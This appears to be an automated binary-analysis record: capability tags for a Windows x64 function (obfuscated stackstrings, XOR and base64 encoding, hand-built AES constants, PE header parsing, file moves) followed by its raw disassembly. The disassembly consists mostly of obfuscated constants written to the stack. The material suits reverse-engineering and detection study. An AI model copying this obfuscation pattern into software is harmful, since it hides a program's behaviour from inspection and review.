Function at 0x140052c30
Capabilities:
Accept command line arguments
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Get common file path
Get disk information
Get disk size
Get file size
Get file version info
Get thread local storage value
Manipulate console buffer
Manually build aes constants
Move file
Parse pe header
Read file on windows
Set console window title
Set environment variable
Terminate thread
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x190a8
call fcn.140187190
sub rsp, rax
mov byte [rsp + 0x50], 0x57
mov eax, 0x5787
mov word [rsp + 0x644], ax
mov eax, 0x10e
mov word [rsp + 0x648], ax
mov eax, 0x4bb
mov word [rsp + 0x64c], ax
movabs rax, 0xd001e0568c4d853
mov qword [rsp + 0x39d0], rax
movabs rax, 0xd6ba4c78375d7805
mov qword [rsp + 0x39d8], rax
mov eax, 0x4257
mov word [rsp + 0x650], ax
mov eax, 0x6ba7
mov word [rsp + 0x654], ax
mov dword [rsp + 0x1e18], 0x777435d7
mov dword [rsp + 0x1e1c], 0x3f0c934e
mov byte [rsp + 0x51], 0x31
mov dword [rsp + 0x1e20], 0x5c202e71
movabs rax, 0x2260249adcedb2f
mov qword [rsp + 0x39e0], rax
mov dword [rsp + 0x1e24], 0x125fc98d
mov byte [rsp + 0x52], 1
movabs rax, 0x6aec06ed79ae17b6
mov qword [rsp + 0x39e8], rax
movabs rax, 0x88b8779f8409b5a7
mov qword [rsp + 0x39f0], rax
mov eax, 0x21c8
mov word [rsp + 0x658], ax
mov dword [rsp + 0x1e28], 0x183fdbc1
mov byte [rsp + 0x53], 0x15
mov eax, 0x2f7
mov word [rsp + 0x65c], ax
mov eax, 0x3f81
mov word [rsp + 0x660], ax
movabs rax, 0x5faad8b6f4d1db40
mov qword [rsp + 0x39f8], rax
mov dword [rsp + 0x1e2c], 0x53860449
mov byte [rsp + 0x54], 0xbb
mov dword [rsp + 0x1e30], 0x6da1ea0f
mov byte [rsp + 0x55], 0x31
mov byte [rsp + 0x56], 0x35
mov byte [rsp + 0x57], 0x36
mov eax, 0x7985
mov word [rsp + 0x664], ax
movabs rax, 0x79cb897bf7fd67ef
mov qword [rsp + 0x3a00], rax
mov dword [rsp + 0x1e34], 0x674e70ef
mov dword [rsp + 0x1e38], 0x4001dda3
mov byte [rsp + 0x58], 0x99
mov byte [rsp + 0x59], 0x31
mov eax, 0xfdc
mov word [rsp + 0x668], ax
mov dword [rsp + 0x1e3c], 0x7c1d60f0
mov byte [rsp + 0x5a], 0x77
mov eax, 0x9f6
mov word [rsp + 0x66c], ax
movabs rax, 0x3b18dc3d9304b414
mov qword [rsp + 0x3a08], rax
mov eax, 0x108
mov word [rsp + 0x670], ax
mov byte [rsp + 0x5b], 0x2a
mov dword [rsp + 0x1e40], 0x3be6ee1e
movabs rax, 0x15b93ad80f72ab2
mov qword [rsp + 0x3a10], rax
mov eax, 0x55f
mov word [rsp + 0x674], ax
mov eax, 0x1a9
mov word [rsp + 0x678], ax
movabs rax, 0xb810412745b9c1ee
mov qword [rsp + 0x3a18], rax
movabs rax, 0x236a09e4a4861499
mov qword [rsp + 0x3a20], rax
mov eax, 0x2923
mov word [rsp + 0x67c], ax
mov dword [rsp + 0x1e44], 0x17c99d9e
mov dword [rsp + 0x1e48], 0x1c8e3cc4
movabs rax, 0x51b64d66ba2e2597
mov qword [rsp + 0x3a28], rax
mov byte [rsp + 0x5c], 0x6b
mov byte [rsp + 0x5d], 0xd3
mov byte [rsp + 0x5e], 0xf8
movabs rax, 0x4e6558fa20568bae
mov qword [rsp + 0x3a30], rax
movabs rax, 0x6f2653ef45df1fec
mov qword [rsp + 0x3a38], rax
mov byte [rsp + 0x5f], 0x71
movabs rax, 0xe54819ba3686de8a
mov qword [rsp + 0x3a40], rax
movabs rax, 0x7cb6d4307bd6d396
mov qword [rsp + 0x3a48], rax
mov eax, 0x3a
mov word [rsp + 0x680], ax
mov byte [rsp + 0x60], 0x62
mov byte [rsp + 0x61], 0x64
movabs rax, 0xdf532369e5395c0b
mov qword [rsp + 0x3a50], rax
mov eax, 0x189
mov word [rsp + 0x684], ax
mov byte [rsp + 0x62], 0xa3
mov dword [rsp + 0x1e4c], 0xb825515
mov dword [rsp + 0x1e50], 0x749962e
mov eax, 0x667
mov word [rsp + 0x688], ax
mov dword [rsp + 0x1e54], 0x750481ea
mov dword [rsp + 0x1e58], 0x13cc844a
mov eax, 0x7a90
mov word [rsp + 0x68c], ax
mov dword [rsp + 0x1e5c], 0x2e531319
mov byte [rsp + 0x63], 0x58
mov dword [rsp + 0x1e60], 0x234fe79f
mov dword [rsp + 0x1e64], 0x26adb31a
mov byte [rsp + 0x64], 0x3a
mov eax, 0xce2
mov word [rsp + 0x690], ax
mov byte [rsp + 0x65], 0x8c
movabs rax, 0x2991dbd29d7625a1
mov qword [rsp + 0x3a58], rax
mov byte [rsp + 0x66], 0xc4
mov byte [rsp + 0x67], 0x13
mov byte [rsp + 0x68], 0x1c
mov eax, 0x1483
mov word [rsp + 0x694], ax
movabs rax, 0x55622b987aae068c
mov qword [rsp + 0x3a60], rax
mov eax, 0xb7e
mov word [rsp + 0x698], ax
mov eax, 0x4ad
mov word [rsp + 0x69c], ax
movabs rax, 0xa37fdf9b6260c4af
mov qword [rsp + 0x3a68], rax
movabs rax, 0x2283cf37bc99cff4
mov qword [rsp + 0x3a70], rax
mov eax, 0x3c8
mov word [rsp + 0x6a0], ax
mov eax, 0x2708
mov word [rsp + 0x6a4], ax
mov byte [rsp + 0x69], 0xde
movabs rax, 0x3728866042184bc8
mov qword [rsp + 0x3a78], rax
mov dword [rsp + 0x1e68], 0x118ac7d
movabs rax, 0x9ac03869bd6b9df
mov qword [rsp + 0x3a80], rax
mov eax, 0xd35
mov word [rsp + 0x6a8], ax
movabs rax, 0xb6dbf7d20a60a5a9
mov qword [rsp + 0x3a88], rax
movabs rax, 0x395229eeb713c894
mov qword [rsp + 0x3a90], rax
mov dword [rsp + 0x1e6c], 0x87027944
mov byte [rsp + 0x6a], 0xfe
mov eax, 0xf98
mov word [rsp + 0x6ac], ax
movabs rax, 0x591491516334ec4a
mov qword [rsp + 0x3a98], rax
mov dword [rsp + 0x1e70], 0x715739e4
mov byte [rsp + 0x6b], 0xac
movabs rax, 0xafbb8c42d564b978
mov qword [rsp + 0x3aa0], rax
mov eax, 0xd66
mov word [rsp + 0x6b0], ax
movabs rax, 0xa64a959614db9ec1
mov qword [rsp + 0x3aa8], rax
movabs rax, 0x10afaa86b4caf29b
mov qword [rsp + 0x3ab0], rax
movabs rax, 0x3d75ff2d3bf00274
mov qword [rsp + 0x3ab8], rax
movabs rax, 0x1d5da2101b9a431f
mov qword [rsp + 0x3ac0], rax
mov eax, 0xdba
mov word [rsp + 0x6b4], ax
mov dword [rsp + 0x1e74], 0xbe01617a
mov dword [rsp + 0x1e78], 0xa3dfd612
mov eax, 0x2bb
mov word [rsp + 0x6b8], ax
mov byte [rsp + 0x6c], 0x6f
mov dword [rsp + 0x1e7c], 0xfc8811f2
mov byte [rsp + 0x6d], 0xa8
mov byte [rsp + 0x6e], 0x4f
mov byte [rsp + 0x6f], 0x25
movabs rax, 0x133f1a8f1a32f2b3
mov qword [rsp + 0x3ac8], rax
mov byte [rsp + 0x70], 0x1b
mov byte [rsp + 0x71], 0x37
movabs rax, 0xf86ef1ac3113894
mov qword [rsp + 0x3ad0], rax
mov eax, 0x157a
mov word [rsp + 0x6bc], ax
mov byte [rsp + 0x72], 0x87
mov byte [rsp + 0x73], 0x83
mov eax, 0x5e73
mov word [rsp + 0x6c0], ax
mov dword [rsp + 0x1e80], 0x2e1d3146
movabs rax, 0x3edeb6a381a514e0
mov qword [rsp + 0x3ad8], rax
mov dword [rsp + 0x1e84], 0x35dcfbcf
mov byte [rsp + 0x74], 0x16
mov byte [rsp + 0x75], 0x2f
movabs rax, 0x6d537b38f5a53632
mov qword [rsp + 0x3ae0], rax
mov dword [rsp + 0x1e88], 0xc733669f
mov byte [rsp + 0x76], 0x40
mov dword [rsp + 0x1e8c], 0x2cdab323
mov eax, 0xabd
mov word [rsp + 0x6c4], ax
mov eax, 0x758
mov word [rsp + 0x6c8], ax
movabs rax, 0xdd7a589063e46b2
mov qword [rsp + 0x3ae8], rax
mov dword [rsp + 0x1e90], 0x47d2e085
movabs rax, 0x8618c8e5a122f37c
mov qword [rsp + 0x3af0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x17f68]
call fcn.140154c50
movabs rax, 0x3bbd4a8e3b525f38
mov qword [rsp + 0x3af8], rax
movabs rax, 0x12c6c48b7470348c
mov qword [rsp + 0x3b00], rax
movabs rax, 0x67011c5c62525df8
mov qword [rsp + 0x3b08], rax
movabs rax, 0x73a21555c8506830
mov qword [rsp + 0x3b10], rax
mov eax, 0x9ca
mov word [rsp + 0x6cc], ax
movabs rax, 0x14b1cf7a904d1ac1
mov qword [rsp + 0x3b18], rax
movabs rax, 0x1f501c99e1970784
mov qword [rsp + 0x3b20], rax
mov eax, 0x4cc
mov word [rsp + 0x6d0], ax
mov eax, 0x995
mov word [rsp + 0x6d4], ax
mov byte [rsp + 0x77], 0x28
mov byte [rsp + 0x78], 0x69
mov eax, 0x22dc
mov word [rsp + 0x6d8], ax
mov dword [rsp + 0x1e94], 0x557e99f4
movabs rax, 0x400b5f63c4c98081
mov qword [rsp + 0x3b28], rax
movabs rax, 0x1217bc58ab3706b9
mov qword [rsp + 0x3b30], rax
mov byte [rsp + 0x79], 0x39
movabs rax, 0xbba9bae4c310f65a
mov qword [rsp + 0x3b38], rax
movabs rax, 0x42511128dcb4b1d9
mov qword [rsp + 0x3b40], rax
mov dword [rsp + 0x1e98], 0x36176ee3
mov byte [rsp + 0x7a], 0x51
mov eax, 0x6ff
mov word [rsp + 0x6dc], ax
mov dword [rsp + 0x1e9c], 0x5c61bb4a
mov eax, 0xddc
mov word [rsp + 0x6e0], ax
mov eax, 0x61e5
mov word [rsp + 0x6e4], ax
movabs rax, 0x4034c6c16377815d
mov qword [rsp + 0x3b48], rax
mov eax, 0x95
mov word [rsp + 0x6e8], ax
mov dword [rsp + 0x1ea0], 0x58a661c6
mov byte [rsp + 0x7b], 0x14
mov byte [rsp + 0x7c], 0x2f
mov dword [rsp + 0x1ea4], 0x8a1eab02
mov eax, 0x28ee
mov word [rsp + 0x6ec], ax
mov byte [rsp + 0x7d], 0xa3
mov dword [rsp + 0x1ea8], 0xc7a795a0
mov eax, 0xf0c
mov word [rsp + 0x6f0], ax
movabs rax, 0x3c41bb688a71aab3
mov qword [rsp + 0x3b50], rax
mov dword [rsp + 0x1eac], 0x532719d2
mov dword [rsp + 0x1eb0], 0x6bcf698a
mov eax, 0x456
mov word [rsp + 0x6f4], ax
mov eax, 0x4547
mov word [rsp + 0x6f8], ax
mov byte [rsp + 0x7e], 0x48
movabs rax, 0x3060fe0c01ee9850
mov qword [rsp + 0x3b58], rax
mov byte [rsp + 0x7f], 0xd3
mov eax, 0x657b
mov word [rsp + 0x6fc], ax
mov eax, 0xf7d
mov word [rsp + 0x700], ax
mov byte [rsp + 0x80], 0x19
mov dword [rsp + 0x1eb4], 0x5bd73e40
mov dword [rsp + 0x1eb8], 0xd0a2f09
mov eax, 0x21a
mov word [rsp + 0x704], ax
movabs rax, 0xb97d175be6ffa07
mov qword [rsp + 0x3b60], rax
mov eax, 0x6b23
mov word [rsp + 0x708], ax
mov eax, 0x396
mov word [rsp + 0x70c], ax
mov byte [rsp + 0x81], 0x8e
mov eax, 0x617e
mov word [rsp + 0x710], ax
movabs rax, 0x588f683d09b94f1a
mov qword [rsp + 0x3b68], rax
mov dword [rsp + 0x1ebc], 0x10d915b8
mov eax, 0x3cd3
mov word [rsp + 0x714], ax
mov dword [rsp + 0x1ec0], 0xa2520736
movabs rax, 0x20cb0cee10bcb0c1
mov qword [rsp + 0x3b70], rax
mov dword [rsp + 0x1ec4], 0xbdc5bdc5
mov byte [rsp + 0x82], 0x46
mov eax, 0x6969
mov word [rsp + 0x718], ax
mov byte [rsp + 0x83], 0x59
mov byte [rsp + 0x84], 0x2b
mov byte [rsp + 0x85], 0x68
movabs rax, 0x4f0778eae76fe52b
mov qword [rsp + 0x3b78], rax
movabs rax, 0x77d7bf3c0e084137
mov qword [rsp + 0x3b80], rax
mov dword [rsp + 0x1ec8], 0x6c797145
mov byte [rsp + 0x86], 0x7d
mov byte [rsp + 0x87], 0xed
mov dword [rsp + 0x1ecc], 0xe2bf53c9
mov eax, 0xff
mov word [rsp + 0x71c], ax
movabs rax, 0xbbe415150505924e
mov qword [rsp + 0x3b88], rax
movabs rax, 0xcab78beaba1a7270
mov qword [rsp + 0x3b90], rax
mov byte [rsp + 0x88], pe_nt_image_headers64
mov eax, 0x635a
mov word [rsp + 0x720], ax
movabs rax, 0x37be180df7f97bc3
mov qword [rsp + 0x3b98], rax
mov byte [rsp + 0x89], 0x7a
movabs rax, 0xf751a1ec9a90ff96
mov qword [rsp + 0x3ba0], rax
movabs rax, 0x911c451076923f78
mov qword [rsp + 0x3ba8], rax
movabs rax, 0x3022c6b1c3696ade
mov qword [rsp + 0x3bb0], rax
movabs rax, 0x5c7cca1c91e1e648
mov qword [rsp + 0x3bb8], rax
mov eax, 0x7336
mov word [rsp + 0x724], ax
mov dword [rsp + 0x1ed0], 0xa1b1a2c6
mov byte [rsp + 0x8a], 0x1f
mov eax, 0x6567
mov word [rsp + 0x728], ax
movabs rax, 0x36baf49793b6d222
mov qword [rsp + 0x3bc0], rax
mov dword [rsp + 0x1ed4], 0x1593aca7
mov byte [rsp + 0x8b], 0x71
mov dword [rsp + 0x1ed8], 0x6079b093
movabs rax, 0x57ba7396c07787f1
mov qword [rsp + 0x3bc8], rax
movabs rax, 0x61aa909b6be748bc
mov qword [rsp + 0x3bd0], rax
mov dword [rsp + 0x1edc], 0x41dfd0a2
mov byte [rsp + 0x8c], 0x1c
mov dword [rsp + 0x1ee0], 0x6cb6a1af
mov byte [rsp + 0x8d], 0xe7
movabs rax, 0x3c3610c5bcc01e1b
mov qword [rsp + 0x3bd8], rax
mov eax, 0x2d7
mov word [rsp + 0x72c], ax
mov dword [rsp + 0x1ee4], 0x73649828
mov byte [rsp + 0x8e], 0xa
movabs rax, 0x91bcb3cbe55d225c
mov qword [rsp + 0x3be0], rax
mov dword [rsp + 0x1ee8], 0x1fa6f0eb
mov eax, 0xe96
mov word [rsp + 0x730], ax
movabs rax, 0x9566804f9854ae9e
mov qword [rsp + 0x3be8], rax
mov eax, 0xf5b
mov word [rsp + 0x734], ax
mov eax, 0x6b3
mov word [rsp + 0x738], ax
movabs rax, 0x6412a79693ba9e99
mov qword [rsp + 0x3bf0], rax
mov byte [rsp + 0x8f], 0x3b
mov eax, 0x59c
mov word [rsp + 0x73c], ax
mov dword [rsp + 0x1eec], 0x77d2cdc5
mov byte [rsp + 0x90], 3
movabs rax, 0x8d6f3ef5239a576a
mov qword [rsp + 0x3bf8], rax
mov byte [rsp + 0x91], 0xc8
mov eax, 0x3cc2
mov word [rsp + 0x740], ax
mov dword [rsp + 0x1ef0], 0x634be17d
mov eax, 0x373
mov word [rsp + 0x744], ax
mov eax, 0xf45
mov word [rsp + 0x748], ax
mov dword [rsp + 0x1ef4], 0x3df91d78
movabs rax, 0xe0f7e4427439bd3e
mov qword [rsp + 0x3c00], rax
movabs rax, 0x52e8b67aebcfe4df
mov qword [rsp + 0x3c08], rax
mov dword [rsp + 0x1ef8], 0x222c9cf4
mov byte [rsp + 0x92], 7
mov byte [rsp + 0x93], 0x49
mov eax, 0xa53
mov word [rsp + 0x74c], ax
mov eax, 0x218
mov word [rsp + 0x750], ax
mov dword [rsp + 0x1efc], 0x11a7a528
mov eax, 0x7a8
mov word [rsp + 0x754], ax
mov dword [rsp + 0x1f00], 0x6e93fa5f
mov dword [rsp + 0x1f04], 0xdf0cd5f
mov eax, 0xdba
mov word [rsp + 0x758], ax
mov byte [rsp + 0x94], 0x5d
movabs rax, 0x29d4270e63519de1
mov qword [rsp + 0x3c10], rax
mov dword [rsp + 0x1f08], 0x6d3af7c8
mov dword [rsp + 0x1f0c], 0xe501da6c
movabs rax, 0x51e9227d047a64c4
mov qword [rsp + 0x3c18], rax
mov eax, 0x2b3f
mov word [rsp + 0x75c], ax
mov dword [rsp + 0x1f10], 0xb727109b
mov byte [rsp + 0x95], 0xf5
mov eax, 0x3731
mov word [rsp + 0x760], ax
mov byte [rsp + 0x96], 0x78
mov byte [rsp + 0x97], 0x53
mov eax, 0x1f18
mov word [rsp + 0x764], ax
mov eax, 0x3dab
mov word [rsp + 0x768], ax
mov dword [rsp + 0x1f14], 0xdae8ddac
mov byte [rsp + 0x98], 0x53
mov eax, 0xd2
mov word [rsp + 0x76c], ax
mov dword [rsp + 0x1f18], 0x6a48ef9f
mov eax, 0xf20
mov word [rsp + 0x770], ax
mov eax, 0x5b28
mov word [rsp + 0x774], ax
mov eax, 0x4776
mov word [rsp + 0x778], ax
mov byte [rsp + 0x99], 0x97
mov dword [rsp + 0x1f1c], 0x3b6f6e0a
mov dword [rsp + 0x1f20], 0x5b44965e
mov dword [rsp + 0x1f24], 0x3f1e46b9
mov eax, 0x144
mov word [rsp + 0x77c], ax
movabs rax, 0x16c89269fa6087c1
mov qword [rsp + 0x3c20], rax
mov dword [rsp + 0x1f28], 0x3abe5c3
mov eax, 0x5cc
mov word [rsp + 0x780], ax
mov eax, 0x2e71
mov word [rsp + 0x784], ax
mov eax, 0x1aea
mov word [rsp + 0x788], ax
mov dword [rsp + 0x1f2c], 0x4897aa89
mov byte [rsp + 0x9a], 0x27
movabs rax, 0x5bd98aa610fed3b2
mov qword [rsp + 0x3c28], rax
mov eax, 0x4ba1
mov word [rsp + 0x78c], ax
movabs rax, 0x4a3ec8b547c535b1
mov qword [rsp + 0x3c30], rax
movabs rax, 0x30966ab7c18f3e45
mov qword [rsp + 0x3c38], rax
movabs rax, 0xc86662485663da5b
mov qword [rsp + 0x3c40], rax
mov dword [rsp + 0x1f30], 0x1238d510
mov dword [rsp + 0x1f34], 0xb9aaed48
mov dword [rsp + 0x1f38], 0x33300712
mov dword [rsp + 0x1f3c], 0xae8fceb5
mov dword [rsp + 0x1f40], 0x3b474df4
mov eax, pe_nt_image_headers64
mov word [rsp + 0x790], ax
mov dword [rsp + 0x1f44], 0x36dea311
movabs rax, 0x2969fb05ed84074e
mov qword [rsp + 0x3c48], rax
mov byte [rsp + 0x9b], 0x4f
mov byte [rsp + 0x9c], 0x6c
mov byte [rsp + 0x9d], 0x75
movabs rax, 0x546e308ec467ca88
mov qword [rsp + 0x3c50], rax
mov dword [rsp + 0x1f48], 0x23487754
mov eax, 0x358
mov word [rsp + 0x794], ax
mov byte [rsp + 0x9e], 0x20
mov dword [rsp + 0x1f4c], 0x2d3f4e54
mov eax, 0x4607
mov word [rsp + 0x798], ax
mov byte [rsp + 0x9f], 0x1c
movabs rax, 0x5edfa974fcc0a165
mov qword [rsp + 0x3c58], rax
mov byte [rsp + 0xa0], 0x53
mov byte [rsp + 0xa1], 0xc6
mov eax, 0xf25
mov word [rsp + 0x79c], ax
mov eax, 0x5e95
mov word [rsp + 0x7a0], ax
mov eax, 0xe91
mov word [rsp + 0x7a4], ax
mov eax, 0x2cf
mov word [rsp + 0x7a8], ax
mov eax, 0xafd
mov word [rsp + 0x7ac], ax
mov byte [rsp + 0xa2], 0xbf
movabs rax, 0x5de60d0ed0789358
mov qword [rsp + 0x3c60], rax
mov dword [rsp + 0x1f50], 0x875f8c14
mov dword [rsp + 0x1f54], 0x78438cf5
mov byte [rsp + 0xa3], 0xd7
mov eax, 0x47
mov word [rsp + 0x7b0], ax
mov dword [rsp + 0x1f58], 0x1948fab4
mov dword [rsp + 0x1f5c], 0x3bb6e99a
mov byte [rsp + 0xa4], 0x31
movabs rax, 0x90f94293521e4ccb
mov qword [rsp + 0x3c68], rax
mov byte [rsp + 0xa5], 0x28
mov byte [rsp + 0xa6], 0x5d
mov dword [rsp + 0x1f60], 0x8390a8dd
mov eax, 0x8fa
mov word [rsp + 0x7b4], ax
mov eax, 0xdbd
mov word [rsp + 0x7b8], ax
mov dword [rsp + 0x1f64], 0x75b21dbe
movabs rax, 0x9f3e85c4e3764e44
mov qword [rsp + 0x3c70], rax
mov dword [rsp + 0x1f68], 0x6606a5cf
mov dword [rsp + 0x1f6c], 0x3f2124c1
movabs rax, 0xc6d12e0332c73806
mov qword [rsp + 0x3c78], rax
mov eax, 0xa3c
mov word [rsp + 0x7bc], ax
mov byte [rsp + 0xa7], 0xef
mov dword [rsp + 0x1f70], 0xbb0e5f98
movabs rax, 0x62d9c62c9f3ae3eb
mov qword [rsp + 0x3c80], rax
movabs rax, 0x141e9c0b3c422d3b
mov qword [rsp + 0x3c88], rax
mov eax, 0x3958
mov word [rsp + 0x7c0], ax
mov dword [rsp + 0x1f74], 0x5e72a624
movabs rax, 0x3e3a749d22cf82f
mov qword [rsp + 0x3c90], rax
movabs rax, 0x6967d42595349e1
mov qword [rsp + 0x3c98], rax
mov dword [rsp + 0x1f78], 0xd923f048
mov dword [rsp + 0x1f7c], 0x5fa794bc
movabs rax, 0x8c6efe298cdb536
mov qword [rsp + 0x3ca0], rax
mov byte [rsp + 0xa8], 0x34
mov dword [rsp + 0x1f80], 0x680375aa
mov dword [rsp + 0x1f84], 0x88d0f89a
movabs rax, 0x46eb14a6c27b1d1f
mov qword [rsp + 0x3ca8], rax
movabs rax, 0x6b9596558f5bb53d
mov qword [rsp + 0x3cb0], rax
mov dword [rsp + 0x1f88], 0x65aa7ab7
movabs rax, 0x75faf9090aeca289
mov qword [rsp + 0x3cb8], rax
mov eax, 0x76c
mov word [rsp + 0x7c4], ax
mov dword [rsp + 0x1f8c], 0x1d1a4201
movabs rax, 0x1e37df84ae4165a9
mov qword [rsp + 0x3cc0], rax
mov eax, 0x776c
mov word [rsp + 0x7c8], ax
mov byte [rsp + 0xa9], 0xb
mov dword [rsp + 0x1f90], 0x10bdbf14
mov eax, 0x6219
mov word [rsp + 0x7cc], ax
movabs rax, 0x67c219a3e77c9afd
mov qword [rsp + 0x3cc8], rax
mov eax, 0x315
mov word [rsp + 0x7d0], ax
mov byte [rsp + 0xaa], 0x43
mov byte [rsp + 0xab], 0xfe
mov byte [rsp + 0xac], 0x15
movabs rax, 0x4e5b0fc8dea1577a
mov qword [rsp + 0x3cd0], rax
mov dword [rsp + 0x1f94], 0x558fb0e7
movabs rax, 0x70e6d2588cd35a00
mov qword [rsp + 0x3cd8], rax
movabs rax, 0x769d4299ea32847b
mov qword [rsp + 0x3ce0], rax
movabs rax, 0x4a7bab04f24e543d
mov qword [rsp + 0x3ce8], rax
mov byte [rsp + 0xad], 0xe1
mov byte [rsp + 0xae], 0xd4
mov byte [rsp + 0xaf], 0xe
mov dword [rsp + 0x1f98], 0x40e6f922
mov eax, 0x3ec2
mov word [rsp + 0x7d4], ax
mov dword [rsp + 0x1f9c], 0x57305eb8
movabs rax, 0x44962e45988045bb
mov qword [rsp + 0x3cf0], rax
mov byte [rsp + 0xb0], 0x1b
movabs rax, 0x81e6199fe1700d63
mov qword [rsp + 0x3cf8], rax
mov eax, 0x8f2
mov word [rsp + 0x7d8], ax
movabs rax, 0x2408176c98f71cb4
mov qword [rsp + 0x3d00], rax
mov eax, 0x828
mov word [rsp + 0x7dc], ax
mov byte [rsp + 0xb1], 0x6f
mov byte [rsp + 0xb2], 0x50
mov dword [rsp + 0x1fa0], 0xfc94463
movabs rax, 0x2647b839f15f204d
mov qword [rsp + 0x3d08], rax
mov eax, 0x3ed
mov word [rsp + 0x7e0], ax
mov eax, 0xc51
mov word [rsp + 0x7e4], ax
mov dword [rsp + 0x1fa4], 0x2a6a428d
movabs rax, 0xda3a87d4df8c7164
mov qword [rsp + 0x3d10], rax
mov eax, 0xcf8
mov word [rsp + 0x7e8], ax
movabs rax, 0x2eb46ba0c5ac0c0b
mov qword [rsp + 0x3d18], rax
mov byte [rsp + 0xb3], 0x50
mov byte [rsp + 0xb4], 0x84
movabs rax, 0x2267bfb804ed1bb6
mov qword [rsp + 0x3d20], rax
mov eax, 0x5f6e
mov word [rsp + 0x7ec], ax
mov dword [rsp + 0x1fa8], 0x14471dc6
mov byte [rsp + 0xb5], 0x2d
mov dword [rsp + 0x1fac], 0x636a3931
mov eax, 0xe80
mov word [rsp + 0x7f0], ax
mov eax, 0x55f9
mov word [rsp + 0x7f4], ax
movabs rax, 0xc59487566dbdbc79
mov qword [rsp + 0x3d28], rax
mov dword [rsp + 0x1fb0], 0x73781279
movabs rax, 0x22fe22cb667c8aa9
mov qword [rsp + 0x3d30], rax
mov eax, 0x3b37
mov word [rsp + 0x7f8], ax
movabs rax, 0x4c8807f0c23eae4a
mov qword [rsp + 0x3d38], rax
mov eax, 0x755
mov word [rsp + 0x7fc], ax
mov eax, 0x7e9
mov word [rsp + 0x800], ax
movabs rax, 0xf25d782cdbfa4c4
mov qword [rsp + 0x3d40], rax
mov byte [rsp + 0xb6], 0x77
mov eax, 0x6f0b
mov word [rsp + 0x804], ax
mov dword [rsp + 0x1fb4], 0x3fc8bde2
mov eax, 0x65f5
mov word [rsp + 0x808], ax
mov byte [rsp + 0xb7], 0x26
movabs rax, 0x4a6a8cc304fcce57
mov qword [rsp + 0x3d48], rax
movabs rax, 0xd6484830ae674027
mov qword [rsp + 0x3d50], rax
movabs rax, 0xe3b23663ea5af936
mov qword [rsp + 0x3d58], rax
movabs rax, 0x18b0e0d015dba53f
mov qword [rsp + 0x3d60], rax
mov byte [rsp + 0xb8], 0xea
mov byte [rsp + 0xb9], 0x26
movabs rax, 0x26b8df9e4bdf8ddd
mov qword [rsp + 0x3d68], rax
movabs rax, 0xef1a3d2b0047fd63
mov qword [rsp + 0x3d70], rax
mov dword [rsp + 0x1fb8], 0x160dda73
mov dword [rsp + 0x1fbc], 0x63595577
movabs rax, 0x5f2b0bd0f0f6a3c5
mov qword [rsp + 0x3d78], rax
mov dword [rsp + 0x1fc0], 0x570434d4
movabs rax, 0x2f8bd28f089bf7a4
mov qword [rsp + 0x3d80], rax
mov byte [rsp + 0xba], 0x57
mov dword [rsp + 0x1fc4], 0xeade16b5
mov dword [rsp + 0x1fc8], 0x2464d987
mov eax, 0x2a6
mov word [rsp + 0x80c], ax
mov byte [rsp + 0xbb], 0x42
mov byte [rsp + 0xbc], 0x5a
movabs rax, 0x1f90577986300830
mov qword [rsp + 0x3d88], rax
mov dword [rsp + 0x1fcc], 0x32c25634
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x17f80]
call fcn.140154c50
mov dword [rsp + 0x1fd0], 0x8c4fd790
movabs rax, 0x6c76a5495e9ec616
mov qword [rsp + 0x3d90], rax
mov byte [rsp + 0xbd], 0xd6
mov byte [rsp + 0xbe], 0x77
mov byte [rsp + 0xbf], 0x3c
mov dword [rsp + 0x1fd4], 0x42793ac0
mov eax, 0x29d
mov word [rsp + 0x810], ax
mov eax, 0x1b01
mov word [rsp + 0x814], ax
mov byte [rsp + 0xc0], 0xd5
movabs rax, 0x2bc9578d20921599
mov qword [rsp + 0x3d98], rax
mov dword [rsp + 0x1fd8], 0xed5f0938
mov dword [rsp + 0x1fdc], 0x860c356b
mov dword [rsp + 0x1fe0], 0x76bfee58
mov dword [rsp + 0x1fe4], 0xedae2c01
mov eax, 0x32b6
mov word [rsp + 0x818], ax
movabs rax, 0x1c5124fed8ed1ad1
mov qword [rsp + 0x3da0], rax
mov eax, 0x5b9
mov word [rsp + 0x81c], ax
mov eax, 0x3466
mov word [rsp + 0x820], ax
mov byte [rsp + 0xc1], 0x6f
mov eax, 0x44e3
mov word [rsp + 0x824], ax
mov dword [rsp + 0x1fe8], 0xe5868af6
mov eax, 0xc2f
mov word [rsp + 0x828], ax
mov dword [rsp + 0x1fec], 0x2474269a
mov byte [rsp + 0xc2], 0x22
movabs rax, 0xc2e80e554fd01662
mov qword [rsp + 0x3da8], rax
mov dword [rsp + 0x1ff0], 0x3d0d1a18
mov byte [rsp + 0xc3], 0x6d
mov dword [rsp + 0x1ff4], 0xc943031
mov eax, 0x58
mov word [rsp + 0x82c], ax
mov eax, 0x404
mov word [rsp + 0x830], ax
mov byte [rsp + 0xc4], 0xb6
movabs rax, 0x37b1d03ab83d40ac
mov qword [rsp + 0x3db0], rax
mov eax, 0x18d
mov word [rsp + 0x834], ax
movabs rax, 0x63051afb7b9528b4
mov qword [rsp + 0x3db8], rax
mov eax, 0xa75
mov word [rsp + 0x838], ax
mov dword [rsp + 0x1ff8], 0x460c2b7e
mov eax, 0x6de
mov word [rsp + 0x83c], ax
movabs rax, 0xaac64c3b408a95b4
mov qword [rsp + 0x3dc0], rax
movabs rax, 0x3bbe102d3db1b802
mov qword [rsp + 0x3dc8], rax
mov byte [rsp + 0xc5], 0xe0
movabs rax, 0xde0cd52986c682e5
mov qword [rsp + 0x3dd0], rax
mov byte [rsp + 0xc6], 0x48
mov byte [rsp + 0xc7], 5
mov byte [rsp + 0xc8], 0xaf
movabs rax, 0xed0cbb7f4c6250db
mov qword [rsp + 0x3dd8], rax
movabs rax, 0x93c30b1ca4cbbe60
mov qword [rsp + 0x3de0], rax
movabs rax, 0x3a6a13db3cd6fd65
mov qword [rsp + 0x3de8], rax
mov eax, 0x6dc3
mov word [rsp + 0x840], ax
mov byte [rsp + 0xc9], 0x4c
mov dword [rsp + 0x1ffc], 0x615e2067
mov byte [rsp + 0xca], 0xfc
movabs rax, 0xb004978ec2113fe
mov qword [rsp + 0x3df0], rax
mov eax, 0x873
mov word [rsp + 0x844], ax
